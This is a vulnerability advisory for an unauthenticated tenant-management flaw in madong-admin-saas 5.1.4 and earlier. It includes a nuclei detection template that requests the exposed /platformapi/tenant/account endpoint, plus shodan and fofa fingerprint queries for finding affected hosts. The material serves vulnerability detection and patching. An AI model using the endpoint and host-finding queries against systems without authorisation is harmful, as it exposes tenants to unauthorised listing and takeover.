madong-admin-saas <= 5.1.4 - Unauthenticated Platform Tenant Management Access

highseverity

8.8CVSS score

1%likelihood of exploitation, next 30 days

65%of all CVEs are less likely

Readycheck to confirm it

madong-admin-saas <= 5.1.4 contains a broken authentication caused by 'platformapi' middleware key mismatch in platform tenant management API, letting unauthenticated remote attackers manage tenants and subscription plans.

Impact

Unauthenticated attackers can list, create, modify, disable, or delete tenants and bind subscription plans, leading to full tenant management compromise.

Fix

Update to the latest version beyond 5.1.4.

How to confirm it

Send: GET /platformapi/tenant/account
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "\"code\":0", "\"msg\":\"ok\"", "\"items\":", "\"total\":") and contains_any(body, "\"effective_mode\"", "\"database_mode\…

Run it with nuclei: nuclei -id CVE-2026-120446 -u <target>

The full check

id: CVE-2026-120446

info:
  name: madong-admin-saas <= 5.1.4 - Unauthenticated Platform Tenant Management Access
  author: maulanawirawan
  severity: high
  description: |
    madong-admin-saas <= 5.1.4 contains a broken authentication caused by 'platformapi' middleware key mismatch in platform tenant management API, letting unauthenticated remote attackers manage tenants and subscription plans.
  impact: |
    Unauthenticated attackers can list, create, modify, disable, or delete tenants and bind subscription plans, leading to full tenant management compromise.
  remediation: |
    Update to the latest version beyond 5.1.4.
  reference:
    - https://github.com/madong-code/madong-admin-saas/issues/2
    - https://github.com/madong-code/madong-admin-saas/commit/2a199a1523ed749c94b876bc2ae5fedf252b2e39
    - https://www.vulncheck.com/advisories/madong-admin-saas-through-5.1.4-missing-authentication-via-platform-tenant-management-api
    - https://nvd.nist.gov/vuln/detail/CVE-2026-120446
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 8.8
    cve-id: CVE-2026-120446
    epss-score: 0.01045
    epss-percentile: 0.64444
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: madong-code
    product: madong-admin-saas
    shodan-query: http.favicon.hash:1349700189
    fofa-query: icon_hash="1349700189"
  tags: cve,cve2026,madong,unauth,missing-auth,tenant

http:
  - raw:
      - |
        GET /platformapi/tenant/account HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "\"code\":0", "\"msg\":\"ok\"", "\"items\":", "\"total\":")'
          - 'contains_any(body, "\"effective_mode\"", "\"database_mode\"", "\"db_setting_id\"", "\"items\":[],\"total\":0")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from